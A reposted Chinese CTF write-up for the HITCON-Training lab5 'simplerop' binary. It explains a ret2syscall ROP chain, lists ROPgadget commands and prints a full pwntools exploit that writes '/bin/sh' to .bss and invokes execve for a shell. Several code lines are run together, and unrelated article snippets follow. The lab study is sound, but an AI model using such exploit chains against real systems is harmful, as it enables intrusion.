CTF|HITCON-Training-master lab5 writeup(ret2syscall题型)

2024-01-06 13:08

本文主要是介绍CTF|HITCON-Training-master lab5 writeup(ret2syscall题型),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

CTF|HITCON-Training-master lab5 writeup(ret2syscall题型)

在这里插入图片描述
题目的文件名是“simplerop” 意思是对rop链的简单利用
shift+f12 查看后,题目既没有给system函数又没有‘/bin/sh’
大致判断是CTFwiki上基本rop中的ret2syscall类型的题目

大致思路是,

  1. 在文件中需寻找有用的gadget
  2. 通过题目中存在的栈溢出
    将‘/bin/sh’写入文件中的bss段(或者data段) 然后将执行流引导到bss上执行即可
    因为文件是32位,‘/bin/sh’需要分两次写入bss
  3. 同时为了实现系统调用我们要满足
    系统调用号,即 eax 应该为 0xb
    第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
    第二个参数,即 ecx 应该为 0
    第三个参数,即 edx 应该为 0

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

用ROPgadget工具
使用命令行
查找pop/ret的gadget

ROPgadget --binary simplerop --only 'pop|ret'

查找mov/ret的gadget

ROPgadget --binary simplerop --only 'mov|ret'

查找int 0x80(执行对应的系统调用)

ROPgadget --binary simplerop --only 'int 0x80'

在这里插入图片描述

拿到gadgers后
第一步:通过

payload = "a"*32
payload += p32(pop_edx_ret)
payload += p32(bss_addr)
payload += p32(pop_eax_ret)
payload += "/bin"
payload += p32(mov_edx_eax)
payload += p32(pop_edx_ret)
payload += p32(bss+4)
payload += p32(pop_eax_ret)
payload += "/sh\x00"
payload += p32(mov_edx_eax)

将‘/bin/sh’写入内存

然后通过

payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(bss)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_80)

实现系统调用:edx ecx赋为0 将ebx赋值到指向 /bin/sh 的地址(bss段) eax 赋值为 0xb

完整exp:

from pwn import*
p = process('./simplerop')pop_eax = 0x080bae06
pop_ebx = 0x080481c9
pop_edx = 0x0806e82a
pop_edx_ecx_ebx =0x0806e850
mov_eax_edx = 0x0808c0f3
bss = 0x080EAF80
int_80 = 0x080493e1
pop_ecx_ebx =0x0806e851payload = 'a'*32
payload += p32(pop_eax) + p32(bss)
payload += p32(pop_edx) + '/bin'
payload += p32(mov_eax_edx)
payload += p32(pop_eax) + p32(bss + 4)
payload += p32(pop_edx) + '/sh\x00'
payload += p32(mov_eax_edx)payload += p32(pop_edx_ecx_ebx)
payload += p32(0)
payload += p32(0)
payload += p32(bss)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(int_80)p.recvuntil('Your input :')
p.sendline(payload)p.interactive()

这篇关于CTF|HITCON-Training-master lab5 writeup(ret2syscall题型)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/576448

相关文章

2014 Multi-University Training Contest 8小记

1002 计算几何 最大的速度才可能拥有无限的面积。 最大的速度的点 求凸包, 凸包上的点( 注意不是端点 ) 才拥有无限的面积 注意 :  凸包上如果有重点则不满足。 另外最大的速度为0也不行的。 int cmp(double x){if(fabs(x) < 1e-8) return 0 ;if(x > 0) return 1 ;return -1 ;}struct poin

2014 Multi-University Training Contest 7小记

1003   数学 , 先暴力再解方程。 在b进制下是个2 , 3 位数的 大概是10000进制以上 。这部分解方程 2-10000 直接暴力 typedef long long LL ;LL n ;int ok(int b){LL m = n ;int c ;while(m){c = m % b ;if(c == 3 || c == 4 || c == 5 ||

2014 Multi-University Training Contest 6小记

1003  贪心 对于111...10....000 这样的序列,  a 为1的个数,b为0的个数,易得当 x= a / (a + b) 时 f最小。 讲串分成若干段  1..10..0   ,  1..10..0 ,  要满足x非递减 。  对于 xi > xi+1  这样的合并 即可。 const int maxn = 100008 ;struct Node{int

两个月冲刺软考——访问位与修改位的题型(淘汰哪一页);内聚的类型;关于码制的知识点;地址映射的相关内容

1.访问位与修改位的题型(淘汰哪一页) 访问位:为1时表示在内存期间被访问过,为0时表示未被访问;修改位:为1时表示该页面自从被装入内存后被修改过,为0时表示未修改过。 置换页面时,最先置换访问位和修改位为00的,其次是01(没被访问但被修改过)的,之后是10(被访问了但没被修改过),最后是11。 2.内聚的类型 功能内聚:完成一个单一功能,各个部分协同工作,缺一不可。 顺序内聚:

java线程深度解析(四)——并发模型(Master-Worker)

http://blog.csdn.net/daybreak1209/article/details/51372929 二、Master-worker ——分而治之      Master-worker常用的并行模式之一,核心思想是由两个进程协作工作,master负责接收和分配任务,worker负责处理任务,并把处理结果返回给Master进程,由Master进行汇总,返回给客

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

xss-labs-master通关教程

一.level1 先来进行一下代码审计 <?php ini_set("display_errors", 0);//关闭错误显示$str = $_GET["name"]; //接受URL来的get形式的name传参echo "<h2 align=center>欢迎用户".$str."</h2>";//在网页输出,并不是echo执行的,而是echo把HTML代码发送到浏览器,浏览器对发送的H

Post-Training有多重要?一文带你了解全部细节

1. 简介 随着LLM学界和工业界日新月异的发展,不仅预训练所用的算力和数据正在疯狂内卷,后训练(post-training)的对齐和微调方法也在不断更新。InstructGPT、WebGPT等较早发布的模型使用标准RLHF方法,其中的数据管理风格和规模似乎已经过时。近来,Meta、谷歌和英伟达等AI巨头纷纷发布开源模型,附带发布详尽的论文或报告,包括Llama 3.1、Nemotron 340

Dungeon Master -uva

一个简答的三维BFS遍历,我从中领悟到了惨痛的教训,关于栈的溢出!!! 不多说了。。郁闷 #include<stdio.h>#include<string.h>#include<stdlib.h>#define MAX_SIZE 50 + 10int Dung[MAX_SIZE][MAX_SIZE][MAX_SIZE];int time[MAX_SIZE][MAX_SIZE][M

线性代数 第六讲 特征值和特征向量_相似对角化_实对称矩阵_重点题型总结详细解析

文章目录 1.特征值和特征向量1.1 特征值和特征向量的定义1.2 特征值和特征向量的求法1.3 特征值特征向量的主要结论 2.相似2.1 相似的定义2.2 相似的性质2.3 相似的结论 3.相似对角化4.实对称矩阵4.1 实对称矩阵的基本性质4.2 施密特正交化 5.重难点题型总结5.1 判断矩阵能否相似对角化5.2 已知两个矩阵相似,求某个矩阵中的未知参数5.3 相似时,求可逆矩阵P,使